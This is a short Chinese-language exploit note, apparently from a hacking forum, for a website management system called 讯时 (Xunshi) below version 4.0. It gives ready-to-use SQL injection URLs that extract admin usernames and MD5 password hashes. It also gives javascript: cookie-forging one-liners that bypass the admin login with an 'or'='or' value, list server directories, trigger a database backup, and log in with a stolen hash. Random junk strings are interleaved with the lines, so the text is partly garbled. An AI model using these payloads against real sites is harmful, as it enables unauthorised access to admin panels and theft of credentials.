讯时网站管理系统4.0以下漏洞

admin

一、注入
1、news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
& F! w/ z. L! g2 w
2、第一步：javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1");location.href="admin_chk.asp"
第二步：请求:admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
可得到用户名和MD5加密码的密码。
/ ^: _6 o, C" Z4 {3 r# [4 L
! U5 N" I+ l& S8 [- W3 p* L0 {二、cookies欺骗
" l4 b* `; C& A. j$ f, n$ H
1、直接进后台，适用于较低版本，一般login.asp和admin_index.asp在同一目录下的版本有此漏洞.
. ~% ~+ O, M- V5 m1 N* zjavascript:alert(document.cookie="adminuser="+escape("'or'='or'"));alert(document.cookie="adminpass="+escape("'or'='or'"));alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"

8 l8 `* \6 J! `  m2、列目录.
( b' H( p$ o+ e# ?javascript:alert(document.cookie="admindj="+escape("1"));location.href="edit/admin_uploadfile.asp?dir=.."
+ V9 Q7 q+ {( R" A: F
3、数据库备份(适用性好像比较低.)
javascript:alert(document.cookie="admindj="+escape("1"));location.href="admin_db_backup.asp?action=backupdata"
2 x2 j$ i, d! [; X4 Q7 k8 I
4、得到MD5密码解不了密进后台方法
/ d& r! @) }! V4 D/ h, pjavascript:alert(document.cookie="adminuser="+escape("用户名")); alert(document.cookie="adminpass="+escape("md5密码")); alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
, \9 x, `+ d$ P" g. I0 K